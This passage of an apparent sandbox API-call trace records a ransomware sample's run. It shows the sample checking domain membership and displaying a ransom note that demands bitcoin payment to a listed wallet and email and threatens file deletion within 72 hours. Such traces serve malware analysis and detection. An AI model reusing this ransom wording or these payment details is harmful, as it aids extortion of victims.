nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf710, lpOverlapped=0x0 | out: lpBuffer=0xa96af294d0*, lpNumberOfBytesRead=0xa96acaf710*=0x0, lpOverlapped=0x0) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf750, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf750*=27) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf750, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf750*=0) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf6a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf6a0*=0) returned 1 [0043.583] ReadFile (in: hFile=0x194, lpBuffer=0xa96af294d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf6e0, lpOverlapped=0x0 | out: lpBuffer=0xa96af294d0*, lpNumberOfBytesRead=0xa96acaf6e0*=0x1b, lpOverlapped=0x0) returned 1 [0043.583] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xa96af0b480, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0043.583] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xa96af0b480, cbMultiByte=28, lpWideCharStr=0xa96af0b4c0, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0043.583] CloseHandle (hObject=0x194) returned 1 [0043.584] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.584] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0043.584] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.584] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.584] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.584] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0043.584] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.585] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0043.585] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0043.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0043.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xa96aefb150, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0043.592] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0043.592] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xa96acae628, BufferType=0xa96acae650 | out: lpNameBuffer=0xa96acae628*="WORKGROUP", BufferType=0xa96acae650) returned 0x0 [0043.593] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0043.594] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.595] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.595] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.595] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0043.595] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 0 [0043.595] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0043.596] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0043.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0043.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xa96aefb1f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0043.603] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0043.603] NetApiBufferSize (in: Buffer=0xa96af0bec0, ByteCount=0xa96acadd88 | out: ByteCount=0xa96acadd88) returned 0x0 [0043.603] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0043.605] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 1 [0043.605] TranslateMessage (lpMsg=0xa96acae610) returned 0 [0043.605] DispatchMessageW (lpMsg=0xa96acae610) returned 0xffffffff [0043.605] GetForegroundWindow () returned 0x301cc [0043.605] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0043.605] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 0 [0043.605] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 0 [0043.605] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0043.606] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.606] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.606] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0043.608] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.608] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.608] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.609] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.609] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.609] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.609] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.609] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.609] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0xa004e, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x9018a [0043.610] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.610] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x80001, lParam=0x9018a) returned 0x0 [0043.610] GetStockObject (i=17) returned 0x10a0047 [0043.610] SendMessageW (hWnd=0x9018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0043.611] GetWindowTextLengthW (hWnd=0x9018a) returned 417 [0043.611] SendMessageW (hWnd=0x9018a, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0043.611] GetClientRect (in: hWnd=0x9018a, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.611] GetWindowRect (in: hWnd=0x9018a, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.611] SetWindowLongPtrW (hWnd=0x9018a, nIndex=-21, dwNewLong=0x8) returned 0x0 [0043.611] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.611] GetDC (hWnd=0x0) returned 0x1601069e [0043.611] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0043.611] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0043.611] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x300a06fa [0043.611] SendMessageW (hWnd=0x9018a, Msg=0x30, wParam=0x300a06fa, lParam=0x1) returned 0x1 [0043.615] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.615] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.615] ShowWindow (hWnd=0xa004e, nCmdShow=5) returned 0 [0043.615] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.615] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0043.616] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.616] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x46, wParam=0x0, lParam=0xa96acafb40) returned 0x0 [0043.626] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.626] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x46, wParam=0x0, lParam=0xa96acafb40) returned 0x0 [0043.626] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.626] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0043.626] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0043.626] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.626] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0043.626] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.626] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.626] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0043.629] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.629] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0043.631] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.631] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0043.631] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.631] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.631] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0043.631] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.631] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x8, wParam=0xc0182, lParam=0x0) returned 0x0 [0043.631] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.631] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0043.632] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.632] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0043.632] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.632] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0xffffffffaa0101bf, lParam=0x0) returned 0x1 [0043.632] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.632] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.632] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.632] SetBkColor (hdc=0xffffffffaa0101bf, color=0xf0f0f0) returned 0xffffff [0043.632] CreateSolidBrush (color=0xf0f0f0) returned 0x3f100559 [0043.632] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.632] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x47, wParam=0x0, lParam=0xa96acafb40) returned 0x0 [0043.632] GetForegroundWindow () returned 0xa004e [0043.632] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.632] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.632] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0043.633] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.633] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0043.633] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.633] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0043.633] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.633] GetWindowLongW (hWnd=0xa004e, nIndex=-20) returned 256 [0043.633] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x84, wParam=0x0, lParam=0x1f90320) returned 0x1 [0043.633] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.633] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.633] GetClientRect (in: hWnd=0xa004e, lpRect=0xa96acaf850 | out: lpRect=0xa96acaf850) returned 1 [0043.633] GetCursorPos (in: lpPoint=0xa96acaf870 | out: lpPoint=0xa96acaf870*(x=800, y=505)) returned 1 [0043.633] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf870 | out: lpPoint=0xa96acaf870) returned 1 [0043.634] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0043.634] SetCursor (hCursor=0x10003) returned 0x10007 [0043.634] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x200, wParam=0x0, lParam=0x18301df) returned 0x0 [0043.634] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.634] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] BeginPaint (in: hWnd=0xa004e, lpPaint=0xa96acaf740 | out: lpPaint=0xa96acaf740) returned 0xffffffffaa0101bf [0043.634] EndPaint (hWnd=0xa004e, lpPaint=0xa96acaf740) returned 1 [0043.634] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.634] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x320106e8, lParam=0x0) returned 0x1 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.634] SetBkColor (hdc=0x320106e8, color=0xf0f0f0) returned 0xffffff [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x320106e8, lParam=0x4) returned 0x0 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.634] SetBkColor (hdc=0x320106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.634] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.634] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.635] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.635] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.635] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.635] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.635] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.635] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0043.635] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x1601069e, lParam=0x0) returned 0x1 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.635] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0x0 [0043.635] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.635] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x1601069e, lParam=0x4) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.636] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.636] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.636] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0043.636] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0043.636] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.636] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.636] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.636] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0043.636] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.636] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.636] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.636] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.636] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0043.636] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.638] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.638] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.638] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.638] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.638] GetWindowLongPtrW (hWnd=0xc0020, nIndex=-21) returned 0x5 [0043.638] GetWindowLongPtrW (hWnd=0xc0020, nIndex=-21) returned 0x5 [0043.638] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.638] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.638] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0043.643] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.643] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] GetWindowLongPtrW (hWnd=0x6011c, nIndex=-21) returned 0x6 [0043.643] GetWindowLongPtrW (hWnd=0x6011c, nIndex=-21) returned 0x6 [0043.643] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.643] GetWindowLongW (hWnd=0x6011c, nIndex=-16) returned 1342242944 [0043.643] GetSysColor (nIndex=5) returned 0xffffff [0043.643] GetSysColor (nIndex=8) returned 0x0 [0043.643] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0043.643] SetBkColor (hdc=0xe010572, color=0xffffff) returned 0xffffff [0043.643] CreateSolidBrush (color=0xffffff) returned 0xffffffffa31007b3 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0xffffffffcf01065c, lParam=0x0) returned 0x1 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.643] SetBkColor (hdc=0xffffffffcf01065c, color=0xf0f0f0) returned 0xffffff [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0xffffffffcf01065c, lParam=0x4) returned 0x0 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.643] GetWindowLongPtrW (hWnd=0x6011c, nIndex=-21) returned 0x6 [0043.643] GetWindowLongPtrW (hWnd=0x6011c, nIndex=-21) returned 0x6 [0043.643] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.643] GetWindowLongW (hWnd=0x6011c, nIndex=-16) returned 1342242944 [0043.643] GetSysColor (nIndex=5) returned 0xffffff [0043.643] GetSysColor (nIndex=8) returned 0x0 [0043.643] SetTextColor (hdc=0xffffffffd001065c, color=0x0) returned 0x0 [0043.643] SetBkColor (hdc=0xffffffffd001065c, color=0xffffff) returned 0xffffff [0043.646] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.646] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0xffffffffd101065c, lParam=0x0) returned 0x1 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.646] SetBkColor (hdc=0xffffffffd101065c, color=0xf0f0f0) returned 0xffffff [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0xffffffffd101065c, lParam=0x4) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW 